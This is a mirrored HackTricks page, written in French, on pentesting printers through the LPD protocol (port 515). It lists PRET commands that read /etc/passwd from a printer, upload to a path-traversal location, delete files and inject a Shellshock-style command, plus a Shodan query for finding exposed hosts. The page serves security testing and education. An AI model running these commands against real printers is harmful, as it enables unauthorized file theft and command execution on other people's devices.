mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
31 lines
2.2 KiB
Markdown
31 lines
2.2 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
### **Introduction au protocole LPD**
|
|
|
|
Dans les années 1980, le **protocole Line Printer Daemon (LPD)** a été développé dans Berkeley Unix, qui a ensuite été formalisé par le RFC1179. Ce protocole fonctionne sur le port 515/tcp, permettant des interactions via la commande `lpr`. L'essence de l'impression via LPD implique l'envoi d'un **fichier de contrôle** (pour spécifier les détails de la tâche et l'utilisateur) ainsi qu'un **fichier de données** (qui contient les informations d'impression). Bien que le fichier de contrôle permette la sélection de **divers formats de fichiers** pour le fichier de données, le traitement de ces fichiers est déterminé par l'implémentation spécifique de LPD. Une implémentation largement reconnue pour les systèmes de type Unix est **LPRng**. Il est à noter que le protocole LPD peut être exploité pour exécuter des **PostScript malveillants** ou des **tâches d'impression PJL**.
|
|
|
|
### **Outils pour interagir avec les imprimantes LPD**
|
|
|
|
[**PRET**](https://github.com/RUB-NDS/PRET) introduit deux outils essentiels, `lpdprint` et `lpdtest`, offrant une méthode simple pour interagir avec les imprimantes compatibles LPD. Ces outils permettent une gamme d'actions allant de l'impression de données à la manipulation de fichiers sur l'imprimante, tels que le téléchargement, le téléversement ou la suppression :
|
|
```python
|
|
# To print a file to an LPD printer
|
|
lpdprint.py hostname filename
|
|
# To get a file from the printer
|
|
lpdtest.py hostname get /etc/passwd
|
|
# To upload a file to the printer
|
|
lpdtest.py hostname put ../../etc/passwd
|
|
# To remove a file from the printer
|
|
lpdtest.py hostname rm /some/file/on/printer
|
|
# To execute a command injection on the printer
|
|
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|
# To send a mail through the printer
|
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
|
```
|
|
Pour les personnes intéressées par l'exploration plus approfondie du domaine du **printer hacking**, une ressource complète peut être trouvée ici : [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
|
|
|
# Shodan
|
|
|
|
- `port 515`
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|